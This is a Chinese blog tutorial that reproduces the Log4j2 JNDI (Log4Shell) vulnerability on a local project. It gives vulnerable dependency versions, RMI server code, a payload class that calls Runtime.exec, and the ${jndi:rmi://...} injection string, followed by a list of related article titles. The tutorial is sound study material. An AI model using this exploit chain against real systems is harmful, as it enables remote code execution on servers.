文章目录

  • 前言
  • 环境准备
  • 攻击代码准备
    • 一、攻击服务准备
    • 二、攻击代码准备
    • 三、修改本地项目业务代码
  • 攻击效果展示
  • 项目日志打印
  • 结语

前言

注:本文仅供参考学习,不构成任何犯罪引导

相信就在最近两天,不少IT圈的都在因为Log4j2,忙前忙后排查项目吧?


写JAVA的都知道,Log4j是用来记录日志的,它的覆盖率之广以至于此次受影响的范围可以说是核弹级别的影响了。

这个漏洞其实是取决于Log4j的一种Lookup机制,就是当我们做日志输出,出现占位符的时候,通过一些特殊的命令符号,可以执行一些程序代码。

接下来我们就来复现所谓的Log4j2是如何执行攻击的,这里博主用本地的项目来给大家复现一下。

环境准备

由于博主的本地项目springBoot版本会自动引入spring-boot-starter-logging依赖,首先我们要对其去除,如下:

        <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><exclusions><exclusion><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-logging</artifactId></exclusion></exclusions></dependency>

其次是引入我们的Log4j依赖包,注:受影响的范围为Apache Log4j 2.x <= 2.14.1

        <dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.13.3</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.13.3</version></dependency>

其次,配置我们的Log4j.xml,就是一个最简单的输出配置,代码如下:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><ThresholdFilter level="info" onMatch="ACCEPT" onMismatch="ACCEPT"/><PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.sss} %-5level %L %M - %msg%xEx%n"/></Console></Appenders><Loggers><logger name="com.example" lecel="info"/><root level="info"><AppenderRef ref="Console"/></root></Loggers>
</Configuration>

至此漏洞的执行环境就已经配置完毕了。

攻击代码准备

一、攻击服务准备

博主在本地新建一个项目,并编写如下代码,编写完毕以后执行即可。

    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Attack","Attack","http://127.0.0.1:80/");ReferenceWrapper wrapper = new ReferenceWrapper(reference);registry.bind("obj",wrapper);System.out.println("server is running");}

如上代码块中Attack就是我们要执行的攻击代码。

启动完成以后就可以一直挂载我们待会使用。

二、攻击代码准备

攻击代码Attack是一个被编译好了的Java文件,也就是一个Class文件。

我们将编译好的攻击class文件放在nginx目录下,纯编译文件,不带你IDEA的路径。如下图:


攻击代码如下,不做真正的攻击,就简单打开一个记事本。代码如下:

public class Attack implements ObjectFactory{public Attack(){}public Object getObjectInstance(Object obj, Name name, Context context, Hashtable hashtable) throws Exception{System.out.println("I am coming...");// 打开本地记事本// 实际攻击行为就不用我多说了,大家可以自行脑补Process process = Runtime.getRuntime().exec("notepad.exe");return null;}
}

将此代码编译完成以后的class文件放进目录即可。

三、修改本地项目业务代码

我们将本地项目的代码修改为由log4j打印日志输出,这里博主选用的是《杂货铺项目》中注册界面的邮箱验证时,使用log4j去输出日志。具体代码如下:

如上代码,我们为何要设置System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”); ?

这是因为JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为true,不用自行设置。

但是JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。

这里博主用的JDK版本较高,所以必须手动设置一下,如果你的JDK版本较低的话可以忽略。

至于具体原因以及它的作用感兴趣的可以自行了解一下。

攻击效果展示

在邮箱输入框中,我们输入如下参数,${jndi:rmi://127.0.0.1:1099/obj} ,然后点击发送验证码。


执行结果展示为:

项目日志打印

我们再来看看在项目中的日志,你会惊讶地发现,攻击程序已经在你的项目中执行了!

结语

如上原理,攻击者在攻击代码中可以编写任意攻击代码,在对应环境下的任何线上JAVA且使用了Log4j2的项目中执行,你说,恐怖不恐怖?

风靡IT圈的史诗级漏洞log4j2的产生原理及复现相关推荐

  1. 史诗级漏洞爆发,Log4j 背后的开源人何去何从?

    近年来,开源热潮席卷全球,纵观全球信息产业,更是呈现"得开源者得生态,得开源者得天下"的态势.在此趋势下,众多互联网企业争相拥抱开源,"开源"一词被推上了前所未 ...

  2. 推特惊爆史诗级漏洞,App 恶意窃取用户隐私,云端安全路向何方?

    作者 | 马超 来源 | CSDN(ID:CSDNnews) 近日,全球安全事件频发,先是推特惊爆史诗级漏洞,黑客对推特进行比特币钓鱼骗局,获取了对包括美国前总统奥巴马.钢铁侠埃隆·马斯克.和世界首富 ...

  3. log4j漏洞原理分析复现检测复盘

    凡事要自发,自然而为,即要顺从一切处于自然状态的事物,允许它们自发地转变.这样,道即达到了一种"无为而无不为"的状态.在日常生活中,道表现为"不自傲"或&quo ...

  4. common-collections中Java反序列化漏洞导致的RCE原理分析

    2019独角兽企业重金招聘Python工程师标准>>> common-collections中Java反序列化漏洞导致的RCE原理分析 隐形人真忙 · 2015/11/11 22:4 ...

  5. (32)【文件下载漏洞专题】Filedownload原理、漏洞出现、危害、漏洞利用……

    目录 一.前言: 二.简介: 三.原理: 四.产生的原因: 五.漏洞出现地方: 5.1.功能上出现: 5.2.链接上出现: 5.3.参数上出现爱: 六.危害: 七.相关漏洞: 八.系统文件路径 8.1 ...

  6. 某OA ajax.do 未授权漏洞任意文件上传getshell复现

    某OA ajax.do 未授权漏洞任意文件上传getshell复现 0x00 简介 某OA A8 是一款流行的协同管理软件,在各中.大型企业机构中广泛使用. 由于某旧版本某些接口能被未授权访问,并且部 ...

  7. (23)【漏洞利用】【原理、利用过程】中间件解析漏洞、CMS漏洞、编辑器漏洞、CVE漏洞

    目录 解析漏洞: 原理: 变化因素: 熟知的中间件(解析漏洞) 0x01    IIS5.x-6.x解析漏洞: (1)目录解析漏洞(IIS6.0) 原理: 利用过程: (2)文件解析漏洞 原理: 利用 ...

  8. 漏洞扫描器的扫描原理 ZZ

    1.漏洞扫描器的扫描原理   网络漏洞扫描器对目标系统进行漏洞检测时,首先探测目标系统的存活主机,对存活主机进行端口扫描,确定系统听开放的端口,同时根据协议指纹技术识别出主机的操作系统类型. ...

  9. 一起进阶一起拿高工资!Java开发进阶-log4j2日志脱敏原理分析

    本文首发于公众号[看点代码再上班],欢迎关注,第一时间获取最新文章. 大家好,我是tin,这是我的第5篇原创文章 本文讲述在考虑对业务系统代码入侵最小的情况下实现日志脱敏的方案原理.文章很长,包括了日 ...

最新文章

  1. python财务报表预测股票价格_机器学习股票价格预测从爬虫到预测-数据爬取部分...
  2. Java开发笔记(一百零三)线程间的通信方式
  3. oracle联合主键怎么找,Oracle数据库联合主键
  4. 10天智能锁项目实战第1天(了解单片机STM32F401RET6和C语言基础)
  5. sonarlint 安装
  6. imac苹果一体机忘记开机密码,直接重置开机密码
  7. 2018全国普通高校学科竞赛排行榜发布
  8. error: Cannot delete branch 'xxx' checked out at 'xxxx'
  9. eclipse护眼豆沙绿
  10. Springboot 系列(十)使用 Spring data jpa 访问数据库
  11. lisp实现框选裁切_《剪切成虚线》v3.1版(支持框选)
  12. 微信小程序+阿里物联平台+合宙Air724UG搭建无服务器物联系统(三)---微信小程序直连阿里物联平台AliIoT
  13. 在树莓派上使用微信聊天
  14. centos7静默安装oracle11gR2 实践
  15. 金仓数据库KingbaseES服务启动方法
  16. Flutter开发学习课程携程app开发(三)
  17. Deriving from BindableBase更简单的绑定通知
  18. 【Kotlin基础系列】第5章 控制流程
  19. omap3530 wince DVSDK安装及编译工具
  20. input上传图片并同步获取图片分辨率

热门文章

  1. jadx重新打包_2.4万Star的反编译利器:Jadx
  2. 实现一个简单的图片轮播效果
  3. The OpenGL® Shading Language, Version 4.60.7 翻译第一章
  4. 如何利用百度经验做网络推广
  5. 身份证男女识别---非线性问题01
  6. 联想笔记本拯救者Y7000盒盖不休眠问题,Win10
  7. 安卓版旅行青蛙三叶草修改教程
  8. 人工智能教学中的功利文化视野
  9. django之 报错(1146, “Table ‘demo2.web‘ doesn‘t exist“)
  10. python练手程序之猜大小